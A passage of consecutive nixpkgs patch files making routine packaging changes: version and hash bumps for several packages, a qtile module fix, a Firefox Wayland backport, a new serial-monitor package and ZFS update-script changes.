+stdenv.mkDerivation {
   pname = "gnome-shell-extension-impatience";
-  version = "0.5.2";
+  version = "0.5.2-unstable-2025-02-24";
 
   src = fetchFromGitHub {
     owner = "timbertson";
     repo = "gnome-shell-impatience";
-    tag = "version-${version}";
-    hash = "sha256-Z+tpmmGbC1rgV4U1w6qM3g85FwpRvzHbBCmFCfcmc60=";
+    rev = "527295a35b352596fed1fc07799f1e0792a77040"; # shows gnome 48 support
+    hash = "sha256-9xfZcKJpBttSP2IbGtjo4UxFEnADgQjyV3vx0jSg8nI=";
   };
 
   buildInputs = [

From 00cbf506f09dc30bc8f89f31bc617e4068537d25 Mon Sep 17 00:00:00 2001
From: misuzu <bakalolka@gmail.com>
Date: Thu, 12 Jun 2025 18:11:45 +0300
Subject: [PATCH 1005/4511] nixos/qtile: fix 'package' option

(cherry picked from commit d06d1cae5a0dd867d8bb33e97aeb48bb3e209f5a)
---
 nixos/modules/services/x11/window-managers/qtile.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/services/x11/window-managers/qtile.nix b/nixos/modules/services/x11/window-managers/qtile.nix
index 18a6468ba458..f1a633c26b24 100644
--- a/nixos/modules/services/x11/window-managers/qtile.nix
+++ b/nixos/modules/services/x11/window-managers/qtile.nix
@@ -25,7 +25,7 @@ in
   options.services.xserver.windowManager.qtile = {
     enable = mkEnableOption "qtile";
 
-    package = mkPackageOption pkgs "qtile-unwrapped" { };
+    package = mkPackageOption pkgs [ "python3" "pkgs" "qtile" ] { };
 
     configFile = mkOption {
       type = with types; nullOr path;
@@ -65,8 +65,8 @@ in
 
   config = mkIf cfg.enable {
     services = {
-      xserver.windowManager.qtile.finalPackage = pkgs.python3.pkgs.qtile.override {
-        extraPackages = cfg.extraPackages pkgs.python3.pkgs;
+      xserver.windowManager.qtile.finalPackage = cfg.package.override {
+        extraPackages = cfg.extraPackages cfg.package.pythonModule.pkgs;
       };
       displayManager.sessionPackages = [ cfg.finalPackage ];
     };

From 9a33a5a1b7187c473270af0fe37f02538f4e68a5 Mon Sep 17 00:00:00 2001
From: Ihar Hrachyshka <ihar.hrachyshka@gmail.com>
Date: Tue, 20 May 2025 10:59:17 -0400
Subject: [PATCH 1006/4511] nixpkgs-review: 3.2.0 -> 3.3.0

Changelog: https://github.com/Mic92/nixpkgs-review/releases/tag/3.3.0

Signed-off-by: Ihar Hrachyshka <ihar.hrachyshka@gmail.com>
(cherry picked from commit 92915181c8ef90a6f8e756745a52e23e7c7664f3)
---
 pkgs/by-name/ni/nixpkgs-review/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ni/nixpkgs-review/package.nix b/pkgs/by-name/ni/nixpkgs-review/package.nix
index 4627def80b68..fe7f6de6c107 100644
--- a/pkgs/by-name/ni/nixpkgs-review/package.nix
+++ b/pkgs/by-name/ni/nixpkgs-review/package.nix
@@ -18,14 +18,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "nixpkgs-review";
-  version = "3.2.0";
+  version = "3.3.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "Mic92";
     repo = "nixpkgs-review";
     tag = version;
-    hash = "sha256-XJRZpAiIbwN5itqxHTcAqd6VnuUOO8TwShZiupJc8dc=";
+    hash = "sha256-Ey07yahJQv5ppf8TiwIt1Cn4xo4QMZ5v+CsJRDelWNY=";
   };
 
   build-system = [

From afb8621e870e86bfaa4e0d2d7f0dbe67980da361 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Fri, 13 Jun 2025 16:04:42 +0200
Subject: [PATCH 1007/4511] nixpkgs-review: 3.3.0 -> 3.4.0

Diff: https://github.com/Mic92/nixpkgs-review/compare/refs/tags/3.3.0...refs/tags/3.4.0

Changelog: https://github.com/Mic92/nixpkgs-review/releases/tag/3.4.0
(cherry picked from commit 4a6f52de4dfdddd867e6cc47d6e69007aa044e2f)
---
 pkgs/by-name/ni/nixpkgs-review/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ni/nixpkgs-review/package.nix b/pkgs/by-name/ni/nixpkgs-review/package.nix
index fe7f6de6c107..1146e1f03b55 100644
--- a/pkgs/by-name/ni/nixpkgs-review/package.nix
+++ b/pkgs/by-name/ni/nixpkgs-review/package.nix
@@ -18,14 +18,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "nixpkgs-review";
-  version = "3.3.0";
+  version = "3.4.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "Mic92";
     repo = "nixpkgs-review";
     tag = version;
-    hash = "sha256-Ey07yahJQv5ppf8TiwIt1Cn4xo4QMZ5v+CsJRDelWNY=";
+    hash = "sha256-qVGaIq05vJA5HmCauASvMiUUg+58v4GOp6NMY9fIGLo=";
   };
 
   build-system = [

From e4785ce8c08667c4dc631ff844aebad1d915c97d Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Sat, 7 Jun 2025 21:26:34 +0100
Subject: [PATCH 1008/4511] whois: 5.6.1 -> 5.6.2

Changes: Changes: https://github.com/rfc1036/whois/compare/v5.6.1...v5.6.2
(cherry picked from commit 8c4f36a2d8ee05b7c58fc63945d82fcf914bb0e4)
---
 pkgs/by-name/wh/whois/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wh/whois/package.nix b/pkgs/by-name/wh/whois/package.nix
index a7e6f03e2106..e31d6f6cb3e0 100644
--- a/pkgs/by-name/wh/whois/package.nix
+++ b/pkgs/by-name/wh/whois/package.nix
@@ -11,14 +11,14 @@
 }:
 
 stdenv.mkDerivation rec {
-  version = "5.6.1";
+  version = "5.6.2";
   pname = "whois";
 
   src = fetchFromGitHub {
     owner = "rfc1036";
     repo = "whois";
     rev = "v${version}";
-    hash = "sha256-2DDZBERslsnkfFDyz7IXEhvUqfKfRvmIelougkTjPYU=";
+    hash = "sha256-SUpbPxEAFXNlncUgmbMt7ZjaX45hzffca8keBRpcXcM=";
   };
 
   patches = [

From 6ea430eb8a1ff8f57d6e3e39007d80f63e965bdd Mon Sep 17 00:00:00 2001
From: DaniD3v <sch220233@spengergasse.at>
Date: Mon, 14 Apr 2025 18:13:59 +0200
Subject: [PATCH 1009/4511] librewolf: fix extraPolicies

(cherry picked from commit 19232240502222043e650d9b02e6bbc3cf4b0edd)
---
 pkgs/applications/networking/browsers/firefox/wrapper.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/browsers/firefox/wrapper.nix b/pkgs/applications/networking/browsers/firefox/wrapper.nix
index f2e7b430f825..e994dbd9fe16 100644
--- a/pkgs/applications/networking/browsers/firefox/wrapper.nix
+++ b/pkgs/applications/networking/browsers/firefox/wrapper.nix
@@ -521,7 +521,7 @@ let
 
           extraPoliciesFiles=(${builtins.toString extraPoliciesFiles})
           for extraPoliciesFile in "''${extraPoliciesFiles[@]}"; do
-            jq -s '.[0] * .[1]' "$POL_PATH" $extraPoliciesFile > .tmp.json
+            jq -s '.[0] * .[1]' $extraPoliciesFile "$POL_PATH" > .tmp.json
             mv .tmp.json "$POL_PATH"
           done
 

From 3ddc37849dd9ae6a5f833e21d5cf842939eb4bdb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 13 Jun 2025 14:29:02 +0000
Subject: [PATCH 1010/4511] amiri: 1.002 -> 1.003

(cherry picked from commit d837a61cadcddbabc1e3b69a608931b22d389db4)
---
 pkgs/by-name/am/amiri/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/am/amiri/package.nix b/pkgs/by-name/am/amiri/package.nix
index 9692307cbde5..5c1395a96b76 100644
--- a/pkgs/by-name/am/amiri/package.nix
+++ b/pkgs/by-name/am/amiri/package.nix
@@ -6,11 +6,11 @@
 
 stdenvNoCC.mkDerivation rec {
   pname = "amiri";
-  version = "1.002";
+  version = "1.003";
 
   src = fetchzip {
     url = "https://github.com/alif-type/amiri/releases/download/${version}/Amiri-${version}.zip";
-    hash = "sha256-Ln2AFiQ5hX4w1yu5NCF28S0hmfWUhEINi1YJVV/Gngo=";
+    hash = "sha256-BsYPMBlRdzlkvyleZIxGDuGjmqhDlEJ4udj8zoKUSzA=";
   };
 
   installPhase = ''

From 2450b2b0329cdfbbe27a649af950b886b58634e2 Mon Sep 17 00:00:00 2001
From: Astro <astro@spaceboyz.net>
Date: Fri, 13 Jun 2025 02:27:48 +0200
Subject: [PATCH 1011/4511] virtiofsd: 1.31.1 -> 1.31.2

(cherry picked from commit 48145066a936a64c6d82eadd1b9e78300d8aed63)
---
 pkgs/by-name/vi/virtiofsd/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/virtiofsd/package.nix b/pkgs/by-name/vi/virtiofsd/package.nix
index 6bd26991cab7..f8ab7c4e2653 100644
--- a/pkgs/by-name/vi/virtiofsd/package.nix
+++ b/pkgs/by-name/vi/virtiofsd/package.nix
@@ -9,19 +9,19 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "virtiofsd";
-  version = "1.13.1";
+  version = "1.13.2";
 
   src = fetchFromGitLab {
     owner = "virtio-fs";
     repo = "virtiofsd";
     rev = "v${version}";
-    hash = "sha256-QT0GfE0AOrNuL7ppiKNs6IKbCtdkfAnAT3PCGujMIUQ=";
+    hash = "sha256-7ShmdwJaMjaUDSFnzHnsTQ/CmAQ0qpZnX5D7cFYHNmo=";
   };
 
   separateDebugInfo = true;
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-Gbnve7YjFvGCvDjlZ7HuvvIIAgJjHulN/Qwyf48lr0Y=";
+  cargoHash = "sha256-Y07SJ54sw4CPCPq/LoueGBfHuZXu9F32yqMR6LBJ09I=";
 
   LIBCAPNG_LIB_PATH = "${lib.getLib libcap_ng}/lib";
   LIBCAPNG_LINK_TYPE = if stdenv.hostPlatform.isStatic then "static" else "dylib";

From 2a919481911156cf156d8441ee6a6c6b30cf1406 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 13 Jun 2025 21:14:58 +0200
Subject: [PATCH 1012/4511] firefox-unwrapped: backport patch for mozbz 1955112

Works around a wayland bug that makes the UI appear frozen, when a tab
drag visual wasn't ended properly.

(cherry picked from commit 55d6400db55ae6d75f137e9bd6e9bc8b332fb41a)
---
 .../firefox/139-wayland-drag-animation.patch  | 53 +++++++++++++++++++
 .../networking/browsers/firefox/common.nix    |  5 ++
 2 files changed, 58 insertions(+)
 create mode 100644 pkgs/applications/networking/browsers/firefox/139-wayland-drag-animation.patch

diff --git a/pkgs/applications/networking/browsers/firefox/139-wayland-drag-animation.patch b/pkgs/applications/networking/browsers/firefox/139-wayland-drag-animation.patch
new file mode 100644
index 000000000000..9e0053a1f336
--- /dev/null
+++ b/pkgs/applications/networking/browsers/firefox/139-wayland-drag-animation.patch
@@ -0,0 +1,53 @@
+# HG changeset patch
+# User Dão Gottwald <dao@mozilla.com>
+# Date 1742828426 0
+# Node ID aa8a29bd1fb9668c81475b534b4ceb220dd4fe55
+# Parent  653a7b21210b5b61a36af11b99ccd51e6c85a905
+Bug 1955112 - Finish tab moving animation when a drag session wasn't ended properly. r=dwalker,tabbrowser-reviewers
+
+Differential Revision: https://phabricator.services.mozilla.com/D242631
+
+diff --git a/browser/components/tabbrowser/content/tabs.js b/browser/components/tabbrowser/content/tabs.js
+--- a/browser/components/tabbrowser/content/tabs.js
++++ b/browser/components/tabbrowser/content/tabs.js
+@@ -1012,18 +1012,39 @@
+         newMargin *= -1;
+       }
+       ind.style.transform = this.verticalMode
+         ? "translateY(" + Math.round(newMargin) + "px)"
+         : "translateX(" + Math.round(newMargin) + "px)";
+     }
+ 
+     #setMovingTabMode(movingTab) {
++      if (movingTab == this.#isMovingTab()) {
++        return;
++      }
++
+       this.toggleAttribute("movingtab", movingTab);
+       gNavToolbox.toggleAttribute("movingtab", movingTab);
++
++      if (movingTab) {
++        // This is a bit of an escape hatch in case a tab drag & drop session
++        // wasn't ended properly, leaving behind the movingtab attribute, which
++        // may break the UI (bug 1954163). We don't get mousemove events while
++        // dragging tabs, so at that point it should be safe to assume that we
++        // should not be in drag and drop mode, and clean things up if needed.
++        requestAnimationFrame(() => {
++          this.addEventListener(
++            "mousemove",
++            () => {
++              this.finishAnimateTabMove();
++            },
++            { once: true }
++          );
++        });
++      }
+     }
+ 
+     #isMovingTab() {
+       return this.hasAttribute("movingtab");
+     }
+ 
+     #expandGroupOnDrop(draggedTab) {
+       if (
+
diff --git a/pkgs/applications/networking/browsers/firefox/common.nix b/pkgs/applications/networking/browsers/firefox/common.nix
index 965afea61031..3f21274f81a7 100644
--- a/pkgs/applications/networking/browsers/firefox/common.nix
+++ b/pkgs/applications/networking/browsers/firefox/common.nix
@@ -310,6 +310,11 @@ buildStdenv.mkDerivation {
       ./no-buildconfig-ffx121.patch
     ]
     ++ lib.optionals (lib.versionAtLeast version "136") [ ./no-buildconfig-ffx136.patch ]
+    ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "141") [
+      # https://bugzilla.mozilla.org/show_bug.cgi?id=1955112
+      # https://hg-edge.mozilla.org/mozilla-central/rev/aa8a29bd1fb9
+      ./139-wayland-drag-animation.patch
+    ]
     ++ lib.optionals (lib.versionAtLeast version "139") [ ./139-relax-apple-sdk.patch ]
     ++ lib.optionals (lib.versionOlder version "139") [
       # Fix for missing vector header on macOS

From ed169236d4e227db94ffbf4b4435e5640eb5ad8f Mon Sep 17 00:00:00 2001
From: Vincent Laporte <Vincent.Laporte@gmail.com>
Date: Fri, 13 Jun 2025 06:55:26 +0200
Subject: [PATCH 1013/4511] =?UTF-8?q?ocamlPackages.ocaml=5Fintrinsics:=20p?=
 =?UTF-8?q?ropagate=20its=20=E2=80=9Ckernel=E2=80=9D=20dependency?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit e1c74a4bfe477554d0601f7aa6000ec0cbc6c2fa)
---
 pkgs/development/ocaml-modules/janestreet/0.17.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/development/ocaml-modules/janestreet/0.17.nix b/pkgs/development/ocaml-modules/janestreet/0.17.nix
index 0b5deb52d946..34ede80d771c 100644
--- a/pkgs/development/ocaml-modules/janestreet/0.17.nix
+++ b/pkgs/development/ocaml-modules/janestreet/0.17.nix
@@ -935,6 +935,8 @@ with self;
     meta.description = "A library of intrinsics for OCaml";
     buildInputs = [
       dune-configurator
+    ];
+    propagatedBuildInputs = [
       ocaml_intrinsics_kernel
     ];
   };

From f00aafb095760c23c56fa341bfb6d6737d16019b Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Wed, 4 Jun 2025 19:23:20 +0200
Subject: [PATCH 1014/4511] tauno-monitor: init at 0.1.27

(cherry picked from commit 5fd857521c400a7ab06bdd2c7ba235f488c33cee)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 57 +++++++++++++++++++++++
 1 file changed, 57 insertions(+)
 create mode 100644 pkgs/by-name/ta/tauno-monitor/package.nix

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
new file mode 100644
index 000000000000..28be4982bffa
--- /dev/null
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -0,0 +1,57 @@
+{
+  lib,
+  python3Packages,
+  fetchFromGitHub,
+  meson,
+  ninja,
+  pkg-config,
+  appstream,
+  desktop-file-utils,
+  gobject-introspection,
+  wrapGAppsHook4,
+  libadwaita,
+}:
+python3Packages.buildPythonApplication rec {
+  pname = "tauno-monitor";
+  version = "0.1.27";
+  pyproject = false;
+
+  src = fetchFromGitHub {
+    owner = "taunoe";
+    repo = "tauno-monitor";
+    tag = "v${version}";
+    hash = "sha256-QxapBgKKXuZxMIvZ8Z91cYhjE2/qxe9fC/eEaPpJWFg=";
+  };
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    appstream
+    desktop-file-utils
+    gobject-introspection
+    wrapGAppsHook4
+  ];
+
+  buildInputs = [
+    libadwaita
+  ];
+
+  dependencies = with python3Packages; [
+    pygobject3
+    pyserial
+  ];
+
+  dontWrapGApps = true;
+
+  makeWrapperArgs = [ "\${gappsWrapperArgs[@]}" ];
+
+  meta = {
+    description = "Simple serial port monitor";
+    homepage = "https://github.com/taunoe/tauno-monitor";
+    changelog = "https://github.com/taunoe/tauno-monitor/releases/tag/${src.tag}";
+    license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [ Cameo007 ];
+    mainProgram = "tauno-monitor";
+  };
+}

From 6ead25063d083946e83446304fe604116192bc21 Mon Sep 17 00:00:00 2001
From: Savyasachee Jha <genghizkhan91@hawkradius.com>
Date: Wed, 11 Jun 2025 12:21:49 +0000
Subject: [PATCH 1015/4511] firefly-iii: 6.2.16 -> 6.2.17

(cherry picked from commit 2daed7ffe8dae36c4a1066010ec1f8c8c6ca2eac)
---
 pkgs/by-name/fi/firefly-iii/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii/package.nix b/pkgs/by-name/fi/firefly-iii/package.nix
index 770653eaf4ed..21f8a88cd75b 100644
--- a/pkgs/by-name/fi/firefly-iii/package.nix
+++ b/pkgs/by-name/fi/firefly-iii/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii";
-  version = "6.2.16";
+  version = "6.2.17";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "firefly-iii";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-SFl2uGHunF/IjhO5XoDCh1bJ5eIWRosv7HFDMXyknvI=";
+    hash = "sha256-g/mGCc7JxfWrbrh14OXaKgn0rjf4RMNL2NI4GzrphaY=";
   };
 
   buildInputs = [ php84 ];
@@ -38,13 +38,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     composerNoScripts = true;
     composerStrictValidation = true;
     strictDeps = true;
-    vendorHash = "sha256-C7lsSon9y286DoAppteZ3fY0qaWVTe66nyFckyrnylk=";
+    vendorHash = "sha256-2GvBlKRTqehD7eVpEGd9zBoiom30DRMqatyHNF4eDiU=";
   };
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-qymMgMXjKll3awXFL/Lo8DloPyqAaxoS2Lw8HBaar9g=";
+    hash = "sha256-uZluWsHpbD2lMG/yNoZxry5X+Hiv3z/H4KqV7pydu/A=";
   };
 
   preInstall = ''
@@ -55,7 +55,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   passthru = {
     phpPackage = php84;
     tests = nixosTests.firefly-iii;
-    updateScript = nix-update-script { };
+    updateScript = nix-update-script { extraArgs = [ "--version-regex='v([0-9]+\.[0-9]+\.[0-9]+)'" ]; };
   };
 
   postInstall = ''

From 725e4612a5832ced353b4912db5863c47e3f0362 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 12 Jun 2025 15:47:05 -0400
Subject: [PATCH 1016/4511] zfs: add updateScript for stable releases

(cherry picked from commit 745f2c79c539179becc70897ce9c24758b6a939e)
---
 pkgs/os-specific/linux/zfs/generic.nix | 38 ++++++++++++++++----------
 1 file changed, 24 insertions(+), 14 deletions(-)

diff --git a/pkgs/os-specific/linux/zfs/generic.nix b/pkgs/os-specific/linux/zfs/generic.nix
index 3360b2cc7319..570b41eacd51 100644
--- a/pkgs/os-specific/linux/zfs/generic.nix
+++ b/pkgs/os-specific/linux/zfs/generic.nix
@@ -30,6 +30,7 @@ let
       pkg-config,
       curl,
       pam,
+      nix-update-script,
 
       # Kernel dependencies
       kernel ? null,
@@ -263,22 +264,31 @@ let
 
       outputs = [ "out" ] ++ optionals buildUser [ "dev" ];
 
-      passthru = {
-        inherit kernel;
-        inherit enableMail kernelModuleAttribute;
-        latestCompatibleLinuxPackages = lib.warn "zfs.latestCompatibleLinuxPackages is deprecated and is now pointing at the default kernel. If using the stable LTS kernel (default `linuxPackages` is not possible then you must explicitly pin a specific kernel release. For example, `boot.kernelPackages = pkgs.linuxPackages_6_6`. Please be aware that non-LTS kernels are likely to go EOL before ZFS supports the latest supported non-LTS release, requiring manual intervention." linuxPackages;
+      passthru =
+        {
+          inherit kernel;
+          inherit enableMail kernelModuleAttribute;
+          latestCompatibleLinuxPackages = lib.warn "zfs.latestCompatibleLinuxPackages is deprecated and is now pointing at the default kernel. If using the stable LTS kernel (default `linuxPackages` is not possible then you must explicitly pin a specific kernel release. For example, `boot.kernelPackages = pkgs.linuxPackages_6_6`. Please be aware that non-LTS kernels are likely to go EOL before ZFS supports the latest supported non-LTS release, requiring manual intervention." linuxPackages;
 
-        # The corresponding userspace tools to this instantiation
-        # of the ZFS package set.
-        userspaceTools = genericBuild (
-          outerArgs
-          // {
-            configFile = "user";
-          }
-        ) innerArgs;
+          # The corresponding userspace tools to this instantiation
+          # of the ZFS package set.
+          userspaceTools = genericBuild (
+            outerArgs
+            // {
+              configFile = "user";
+            }
+          ) innerArgs;
 
-        inherit tests;
-      };
+          inherit tests;
+        }
+        // lib.optionalAttrs (kernelModuleAttribute != "zfs_unstable") {
+          updateScript = nix-update-script {
+            extraArgs = [
+              "--version-regex=^zfs-(${lib.versions.major version}\\.${lib.versions.minor version}\\.[0-9]+)"
+              "--override-filename=pkgs/os-specific/linux/zfs/${lib.versions.major version}_${lib.versions.minor version}.nix"
+            ];
+          };
+        };
 
       meta = {
         description = "ZFS Filesystem Linux" + (if buildUser then " Userspace Tools" else " Kernel Module");

From 337525f2e6e757033ea5b822812e6cc0379dabb0 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 12 Jun 2025 15:47:05 -0400
Subject: [PATCH 1017/4511] zfs: cleanup unused stdenv'

(cherry picked from commit 5ac3c6a9868770592517bf7f902c274c482bdffb)
---
 pkgs/os-specific/linux/zfs/2_2.nix      | 5 -----
 pkgs/os-specific/linux/zfs/2_3.nix      | 5 -----
 pkgs/os-specific/linux/zfs/unstable.nix | 5 -----
 3 files changed, 15 deletions(-)

diff --git a/pkgs/os-specific/linux/zfs/2_2.nix b/pkgs/os-specific/linux/zfs/2_2.nix
index 587c7bc8d96a..d25270406218 100644
--- a/pkgs/os-specific/linux/zfs/2_2.nix
+++ b/pkgs/os-specific/linux/zfs/2_2.nix
@@ -1,15 +1,10 @@
 {
   callPackage,
-  kernel ? null,
-  stdenv,
   lib,
   nixosTests,
   ...
 }@args:
 
-let
-  stdenv' = if kernel == null then stdenv else kernel.stdenv;
-in
 callPackage ./generic.nix args {
   # You have to ensure that in `pkgs/top-level/linux-kernels.nix`
   # this attribute is the correct one for this package.
diff --git a/pkgs/os-specific/linux/zfs/2_3.nix b/pkgs/os-specific/linux/zfs/2_3.nix
index 992cba2a68b0..888b8fca79a0 100644
--- a/pkgs/os-specific/linux/zfs/2_3.nix
+++ b/pkgs/os-specific/linux/zfs/2_3.nix
@@ -1,15 +1,10 @@
 {
   callPackage,
-  kernel ? null,
-  stdenv,
   lib,
   nixosTests,
   ...
 }@args:
 
-let
-  stdenv' = if kernel == null then stdenv else kernel.stdenv;
-in
 callPackage ./generic.nix args {
   # You have to ensure that in `pkgs/top-level/linux-kernels.nix`
   # this attribute is the correct one for this package.
diff --git a/pkgs/os-specific/linux/zfs/unstable.nix b/pkgs/os-specific/linux/zfs/unstable.nix
index b2ebfccc1410..be9ad8b682e7 100644
--- a/pkgs/os-specific/linux/zfs/unstable.nix
+++ b/pkgs/os-specific/linux/zfs/unstable.nix
@@ -1,14 +1,9 @@
 {
   callPackage,
-  kernel ? null,
-  stdenv,
   nixosTests,
   ...
 }@args:
 
-let
-  stdenv' = if kernel == null then stdenv else kernel.stdenv;
-in
 callPackage ./generic.nix args {
   # You have to ensure that in `pkgs/top-level/linux-kernels.nix`
   # this attribute is the correct one for this package.

From 4d6f98ad204a63c3022ac28920f68fb113aa7a58 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 12 Jun 2025 15:47:05 -0400
Subject: [PATCH 1018/4511] zfs_2_2: 2.2.7 -> 2.2.8

https://github.com/openzfs/zfs/releases/tag/zfs-2.2.8
(cherry picked from commit 5a745565dc339818011b98e9026db4ab77d612aa)
---
 pkgs/os-specific/linux/zfs/2_2.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/zfs/2_2.nix b/pkgs/os-specific/linux/zfs/2_2.nix
index d25270406218..c92b39de1746 100644
--- a/pkgs/os-specific/linux/zfs/2_2.nix
+++ b/pkgs/os-specific/linux/zfs/2_2.nix
@@ -10,10 +10,10 @@ callPackage ./generic.nix args {
   # this attribute is the correct one for this package.
   kernelModuleAttribute = "zfs_2_2";
   # check the release notes for compatible kernels
-  kernelCompatible = kernel: kernel.kernelOlder "6.13";
+  kernelCompatible = kernel: kernel.kernelOlder "6.16";
 
   # this package should point to the latest release.
-  version = "2.2.7";
+  version = "2.2.8";
 
   tests = {
     inherit (nixosTests.zfs) installer series_2_2;
@@ -24,5 +24,5 @@ callPackage ./generic.nix args {
     amarshall
   ];
 
-  hash = "sha256-nFOB0/7YK4e8ODoW9A+RQDkZHG/isp2EBOE48zTaMP4=";
+  hash = "sha256-ZYgC8L4iI9ewaC7rkMFSRAKeTWr72N5aRP98VLL4oqo=";
 }

From 2f66fb6dd3b9593d193f90260b9e131842439683 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 12 Jun 2025 15:57:11 -0400
Subject: [PATCH 1019/4511] zfs: installer tests are x86 only

(cherry picked from commit 06743bb459d23b0c0a20aa531f84a5cad5fbc630)
---
 pkgs/os-specific/linux/zfs/2_2.nix | 11 ++++++++---
 pkgs/os-specific/linux/zfs/2_3.nix | 11 ++++++++---
 2 files changed, 16 insertions(+), 6 deletions(-)

diff --git a/pkgs/os-specific/linux/zfs/2_2.nix b/pkgs/os-specific/linux/zfs/2_2.nix
index c92b39de1746..f32312ae3d80 100644
--- a/pkgs/os-specific/linux/zfs/2_2.nix
+++ b/pkgs/os-specific/linux/zfs/2_2.nix
@@ -2,6 +2,7 @@
   callPackage,
   lib,
   nixosTests,
+  stdenv,
   ...
 }@args:
 
@@ -15,9 +16,13 @@ callPackage ./generic.nix args {
   # this package should point to the latest release.
   version = "2.2.8";
 
-  tests = {
-    inherit (nixosTests.zfs) installer series_2_2;
-  };
+  tests =
+    {
+      inherit (nixosTests.zfs) series_2_2;
+    }
+    // lib.optionalAttrs stdenv.isx86_64 {
+      inherit (nixosTests.zfs) installer;
+    };
 
   maintainers = with lib.maintainers; [
     adamcstephens
diff --git a/pkgs/os-specific/linux/zfs/2_3.nix b/pkgs/os-specific/linux/zfs/2_3.nix
index 888b8fca79a0..e88b4c591594 100644
--- a/pkgs/os-specific/linux/zfs/2_3.nix
+++ b/pkgs/os-specific/linux/zfs/2_3.nix
@@ -2,6 +2,7 @@
   callPackage,
   lib,
   nixosTests,
+  stdenv,
   ...
 }@args:
 
@@ -15,9 +16,13 @@ callPackage ./generic.nix args {
   # this package should point to the latest release.
   version = "2.3.2";
 
-  tests = {
-    inherit (nixosTests.zfs) installer series_2_3;
-  };
+  tests =
+    {
+      inherit (nixosTests.zfs) series_2_3;
+    }
+    // lib.optionalAttrs stdenv.isx86_64 {
+      inherit (nixosTests.zfs) installer;
+    };
 
   maintainers = with lib.maintainers; [
     adamcstephens

From dbec3a2cd0c36206ccc9cb1c1233d81663630c11 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 13 Jun 2025 18:54:24 +0000
Subject: [PATCH 1020/4511] thunderbird-esr-bin-unwrapped: 128.11.0esr ->
 128.11.1esr

(cherry picked from commit e1b027f478e3496ada88aab40ef0476e923e3e15)
---
 .../thunderbird-bin/release_esr_sources.nix   | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
index 7758d6a5d882..f4b3e1e046ab 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "128.11.0esr";
+  version = "128.11.1esr";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/af/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/af/thunderbird-128.11.1esr.tar.bz2";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "b0a8ffa0b3a489f5c4121aaef34b51b13eb3802a77f3561601152796031a2faa";
+      sha256 = "4c5d8bfcfa05423efd1f4d0fd0848ff72ab9fd31ff3e9eb11f3685c5dfb68e04";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ar/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ar/thunderbird-128.11.1esr.tar.bz2";
       locale = "ar";
